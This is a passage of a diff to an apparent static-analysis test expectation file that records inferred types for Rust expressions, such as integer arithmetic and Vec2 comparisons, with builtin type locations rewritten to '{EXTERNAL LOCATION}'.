other.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1494:33:1494:36 | self | | file://:0:0:0:0 | & | | main.rs:1494:33:1494:36 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1494:33:1494:38 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1494:33:1494:48 | ... < ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1494:33:1494:38 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1494:33:1494:48 | ... < ... | | {EXTERNAL LOCATION} | bool | | main.rs:1494:42:1494:46 | other | | file://:0:0:0:0 | & | | main.rs:1494:42:1494:46 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1494:42:1494:48 | other.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1494:42:1494:48 | other.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1497:15:1497:19 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1497:15:1497:19 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1497:22:1497:26 | other | | file://:0:0:0:0 | & | | main.rs:1497:22:1497:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1497:44:1499:9 | { ... } | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1497:44:1499:9 | { ... } | | {EXTERNAL LOCATION} | bool | | main.rs:1498:13:1498:16 | self | | file://:0:0:0:0 | & | | main.rs:1498:13:1498:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1498:13:1498:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1498:13:1498:29 | ... <= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1498:13:1498:50 | ... && ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1498:13:1498:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1498:13:1498:29 | ... <= ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1498:13:1498:50 | ... && ... | | {EXTERNAL LOCATION} | bool | | main.rs:1498:23:1498:27 | other | | file://:0:0:0:0 | & | | main.rs:1498:23:1498:27 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1498:23:1498:29 | other.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1498:23:1498:29 | other.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1498:34:1498:37 | self | | file://:0:0:0:0 | & | | main.rs:1498:34:1498:37 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1498:34:1498:39 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1498:34:1498:50 | ... <= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1498:34:1498:39 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1498:34:1498:50 | ... <= ... | | {EXTERNAL LOCATION} | bool | | main.rs:1498:44:1498:48 | other | | file://:0:0:0:0 | & | | main.rs:1498:44:1498:48 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1498:44:1498:50 | other.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1498:44:1498:50 | other.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1501:15:1501:19 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1501:15:1501:19 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1501:22:1501:26 | other | | file://:0:0:0:0 | & | | main.rs:1501:22:1501:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1501:44:1503:9 | { ... } | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1501:44:1503:9 | { ... } | | {EXTERNAL LOCATION} | bool | | main.rs:1502:13:1502:16 | self | | file://:0:0:0:0 | & | | main.rs:1502:13:1502:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1502:13:1502:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1502:13:1502:28 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1502:13:1502:48 | ... && ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1502:13:1502:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1502:13:1502:28 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1502:13:1502:48 | ... && ... | | {EXTERNAL LOCATION} | bool | | main.rs:1502:22:1502:26 | other | | file://:0:0:0:0 | & | | main.rs:1502:22:1502:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1502:22:1502:28 | other.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1502:22:1502:28 | other.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1502:33:1502:36 | self | | file://:0:0:0:0 | & | | main.rs:1502:33:1502:36 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1502:33:1502:38 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1502:33:1502:48 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1502:33:1502:38 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1502:33:1502:48 | ... > ... | | {EXTERNAL LOCATION} | bool | | main.rs:1502:42:1502:46 | other | | file://:0:0:0:0 | & | | main.rs:1502:42:1502:46 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1502:42:1502:48 | other.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1502:42:1502:48 | other.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1505:15:1505:19 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1505:15:1505:19 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1505:22:1505:26 | other | | file://:0:0:0:0 | & | | main.rs:1505:22:1505:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1505:44:1507:9 | { ... } | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1505:44:1507:9 | { ... } | | {EXTERNAL LOCATION} | bool | | main.rs:1506:13:1506:16 | self | | file://:0:0:0:0 | & | | main.rs:1506:13:1506:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1506:13:1506:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1506:13:1506:29 | ... >= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1506:13:1506:50 | ... && ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1506:13:1506:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1506:13:1506:29 | ... >= ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1506:13:1506:50 | ... && ... | | {EXTERNAL LOCATION} | bool | | main.rs:1506:23:1506:27 | other | | file://:0:0:0:0 | & | | main.rs:1506:23:1506:27 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1506:23:1506:29 | other.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1506:23:1506:29 | other.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1506:34:1506:37 | self | | file://:0:0:0:0 | & | | main.rs:1506:34:1506:37 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1506:34:1506:39 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1506:34:1506:50 | ... >= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1506:34:1506:39 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1506:34:1506:50 | ... >= ... | | {EXTERNAL LOCATION} | bool | | main.rs:1506:44:1506:48 | other | | file://:0:0:0:0 | & | | main.rs:1506:44:1506:48 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1506:44:1506:50 | other.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1513:13:1513:18 | i64_eq | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1513:22:1513:35 | (...) | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1513:23:1513:26 | 1i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1513:23:1513:34 | ... == ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1513:31:1513:34 | 2i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1514:13:1514:18 | i64_ne | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1514:22:1514:35 | (...) | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1514:23:1514:26 | 3i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1514:23:1514:34 | ... != ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1514:31:1514:34 | 4i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1515:13:1515:18 | i64_lt | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1515:22:1515:34 | (...) | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1515:23:1515:26 | 5i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1515:23:1515:33 | ... < ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1515:30:1515:33 | 6i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1516:13:1516:18 | i64_le | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1516:22:1516:35 | (...) | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1516:23:1516:26 | 7i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1516:23:1516:34 | ... <= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1516:31:1516:34 | 8i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1517:13:1517:18 | i64_gt | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1517:22:1517:35 | (...) | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1517:23:1517:26 | 9i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1517:23:1517:34 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1517:30:1517:34 | 10i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1518:13:1518:18 | i64_ge | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1518:22:1518:37 | (...) | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1518:23:1518:27 | 11i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1518:23:1518:36 | ... >= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1518:32:1518:36 | 12i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1521:13:1521:19 | i64_add | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1521:23:1521:27 | 13i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1521:23:1521:35 | ... + ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1521:31:1521:35 | 14i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1522:13:1522:19 | i64_sub | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1522:23:1522:27 | 15i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1522:23:1522:35 | ... - ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1522:31:1522:35 | 16i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1523:13:1523:19 | i64_mul | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1523:23:1523:27 | 17i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1523:23:1523:35 | ... * ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1523:31:1523:35 | 18i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1524:13:1524:19 | i64_div | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1524:23:1524:27 | 19i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1524:23:1524:35 | ... / ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1524:31:1524:35 | 20i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1525:13:1525:19 | i64_rem | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1525:23:1525:27 | 21i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1525:23:1525:35 | ... % ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1525:31:1525:35 | 22i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1528:13:1528:30 | mut i64_add_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1528:34:1528:38 | 23i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1529:9:1529:22 | i64_add_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1506:44:1506:50 | other.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1513:13:1513:18 | i64_eq | | {EXTERNAL LOCATION} | bool | +| main.rs:1513:22:1513:35 | (...) | | {EXTERNAL LOCATION} | bool | +| main.rs:1513:23:1513:26 | 1i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1513:23:1513:34 | ... == ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1513:31:1513:34 | 2i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1514:13:1514:18 | i64_ne | | {EXTERNAL LOCATION} | bool | +| main.rs:1514:22:1514:35 | (...) | | {EXTERNAL LOCATION} | bool | +| main.rs:1514:23:1514:26 | 3i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1514:23:1514:34 | ... != ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1514:31:1514:34 | 4i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1515:13:1515:18 | i64_lt | | {EXTERNAL LOCATION} | bool | +| main.rs:1515:22:1515:34 | (...) | | {EXTERNAL LOCATION} | bool | +| main.rs:1515:23:1515:26 | 5i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1515:23:1515:33 | ... < ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1515:30:1515:33 | 6i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1516:13:1516:18 | i64_le | | {EXTERNAL LOCATION} | bool | +| main.rs:1516:22:1516:35 | (...) | | {EXTERNAL LOCATION} | bool | +| main.rs:1516:23:1516:26 | 7i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1516:23:1516:34 | ... <= ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1516:31:1516:34 | 8i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1517:13:1517:18 | i64_gt | | {EXTERNAL LOCATION} | bool | +| main.rs:1517:22:1517:35 | (...) | | {EXTERNAL LOCATION} | bool | +| main.rs:1517:23:1517:26 | 9i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1517:23:1517:34 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1517:30:1517:34 | 10i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1518:13:1518:18 | i64_ge | | {EXTERNAL LOCATION} | bool | +| main.rs:1518:22:1518:37 | (...) | | {EXTERNAL LOCATION} | bool | +| main.rs:1518:23:1518:27 | 11i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1518:23:1518:36 | ... >= ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1518:32:1518:36 | 12i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1521:13:1521:19 | i64_add | | {EXTERNAL LOCATION} | i64 | +| main.rs:1521:23:1521:27 | 13i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1521:23:1521:35 | ... + ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1521:31:1521:35 | 14i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1522:13:1522:19 | i64_sub | | {EXTERNAL LOCATION} | i64 | +| main.rs:1522:23:1522:27 | 15i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1522:23:1522:35 | ... - ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1522:31:1522:35 | 16i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1523:13:1523:19 | i64_mul | | {EXTERNAL LOCATION} | i64 | +| main.rs:1523:23:1523:27 | 17i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1523:23:1523:35 | ... * ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1523:31:1523:35 | 18i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1524:13:1524:19 | i64_div | | {EXTERNAL LOCATION} | i64 | +| main.rs:1524:23:1524:27 | 19i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1524:23:1524:35 | ... / ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1524:31:1524:35 | 20i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1525:13:1525:19 | i64_rem | | {EXTERNAL LOCATION} | i64 | +| main.rs:1525:23:1525:27 | 21i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1525:23:1525:35 | ... % ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1525:31:1525:35 | 22i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1528:13:1528:30 | mut i64_add_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1528:34:1528:38 | 23i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1529:9:1529:22 | i64_add_assign | | {EXTERNAL LOCATION} | i64 | | main.rs:1529:9:1529:31 | ... += ... | | file://:0:0:0:0 | () | -| main.rs:1529:27:1529:31 | 24i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1531:13:1531:30 | mut i64_sub_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1531:34:1531:38 | 25i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1532:9:1532:22 | i64_sub_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1529:27:1529:31 | 24i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1531:13:1531:30 | mut i64_sub_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1531:34:1531:38 | 25i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1532:9:1532:22 | i64_sub_assign | | {EXTERNAL LOCATION} | i64 | | main.rs:1532:9:1532:31 | ... -= ... | | file://:0:0:0:0 | () | -| main.rs:1532:27:1532:31 | 26i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1534:13:1534:30 | mut i64_mul_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1534:34:1534:38 | 27i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1535:9:1535:22 | i64_mul_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1532:27:1532:31 | 26i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1534:13:1534:30 | mut i64_mul_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1534:34:1534:38 | 27i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1535:9:1535:22 | i64_mul_assign | | {EXTERNAL LOCATION} | i64 | | main.rs:1535:9:1535:31 | ... *= ... | | file://:0:0:0:0 | () | -| main.rs:1535:27:1535:31 | 28i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1537:13:1537:30 | mut i64_div_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1537:34:1537:38 | 29i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1538:9:1538:22 | i64_div_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1535:27:1535:31 | 28i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1537:13:1537:30 | mut i64_div_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1537:34:1537:38 | 29i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1538:9:1538:22 | i64_div_assign | | {EXTERNAL LOCATION} | i64 | | main.rs:1538:9:1538:31 | ... /= ... | | file://:0:0:0:0 | () | -| main.rs:1538:27:1538:31 | 30i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1540:13:1540:30 | mut i64_rem_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1540:34:1540:38 | 31i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1541:9:1541:22 | i64_rem_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1538:27:1538:31 | 30i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1540:13:1540:30 | mut i64_rem_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1540:34:1540:38 | 31i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1541:9:1541:22 | i64_rem_assign | | {EXTERNAL LOCATION} | i64 | | main.rs:1541:9:1541:31 | ... %= ... | | file://:0:0:0:0 | () | -| main.rs:1541:27:1541:31 | 32i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1544:13:1544:22 | i64_bitand | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1544:26:1544:30 | 33i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1544:26:1544:38 | ... & ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1544:34:1544:38 | 34i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1545:13:1545:21 | i64_bitor | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1545:25:1545:29 | 35i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1545:25:1545:37 | ... \| ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1545:33:1545:37 | 36i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1546:13:1546:22 | i64_bitxor | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1546:26:1546:30 | 37i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1546:26:1546:38 | ... ^ ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1546:34:1546:38 | 38i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1547:13:1547:19 | i64_shl | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1547:23:1547:27 | 39i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1547:23:1547:36 | ... << ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1547:32:1547:36 | 40i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1548:13:1548:19 | i64_shr | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1548:23:1548:27 | 41i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1548:23:1548:36 | ... >> ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1548:32:1548:36 | 42i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1551:13:1551:33 | mut i64_bitand_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1551:37:1551:41 | 43i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1552:9:1552:25 | i64_bitand_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1541:27:1541:31 | 32i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1544:13:1544:22 | i64_bitand | | {EXTERNAL LOCATION} | i64 | +| main.rs:1544:26:1544:30 | 33i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1544:26:1544:38 | ... & ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1544:34:1544:38 | 34i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1545:13:1545:21 | i64_bitor | | {EXTERNAL LOCATION} | i64 | +| main.rs:1545:25:1545:29 | 35i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1545:25:1545:37 | ... \| ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1545:33:1545:37 | 36i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1546:13:1546:22 | i64_bitxor | | {EXTERNAL LOCATION} | i64 | +| main.rs:1546:26:1546:30 | 37i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1546:26:1546:38 | ... ^ ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1546:34:1546:38 | 38i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1547:13:1547:19 | i64_shl | | {EXTERNAL LOCATION} | i64 | +| main.rs:1547:23:1547:27 | 39i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1547:23:1547:36 | ... << ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1547:32:1547:36 | 40i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1548:13:1548:19 | i64_shr | | {EXTERNAL LOCATION} | i64 | +| main.rs:1548:23:1548:27 | 41i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1548:23:1548:36 | ... >> ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1548:32:1548:36 | 42i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1551:13:1551:33 | mut i64_bitand_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1551:37:1551:41 | 43i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1552:9:1552:25 | i64_bitand_assign | | {EXTERNAL LOCATION} | i64 | | main.rs:1552:9:1552:34 | ... &= ... | | file://:0:0:0:0 | () | -| main.rs:1552:30:1552:34 | 44i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1554:13:1554:32 | mut i64_bitor_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1554:36:1554:40 | 45i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1555:9:1555:24 | i64_bitor_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1552:30:1552:34 | 44i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1554:13:1554:32 | mut i64_bitor_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1554:36:1554:40 | 45i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1555:9:1555:24 | i64_bitor_assign | | {EXTERNAL LOCATION} | i64 | | main.rs:1555:9:1555:33 | ... \|= ... | | file://:0:0:0:0 | () | -| main.rs:1555:29:1555:33 | 46i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1557:13:1557:33 | mut i64_bitxor_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1557:37:1557:41 | 47i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1558:9:1558:25 | i64_bitxor_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1555:29:1555:33 | 46i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1557:13:1557:33 | mut i64_bitxor_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1557:37:1557:41 | 47i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1558:9:1558:25 | i64_bitxor_assign | | {EXTERNAL LOCATION} | i64 | | main.rs:1558:9:1558:34 | ... ^= ... | | file://:0:0:0:0 | () | -| main.rs:1558:30:1558:34 | 48i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1560:13:1560:30 | mut i64_shl_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1560:34:1560:38 | 49i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1561:9:1561:22 | i64_shl_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1558:30:1558:34 | 48i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1560:13:1560:30 | mut i64_shl_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1560:34:1560:38 | 49i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1561:9:1561:22 | i64_shl_assign | | {EXTERNAL LOCATION} | i64 | | main.rs:1561:9:1561:32 | ... <<= ... | | file://:0:0:0:0 | () | -| main.rs:1561:28:1561:32 | 50i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1563:13:1563:30 | mut i64_shr_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1563:34:1563:38 | 51i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1564:9:1564:22 | i64_shr_assign | | 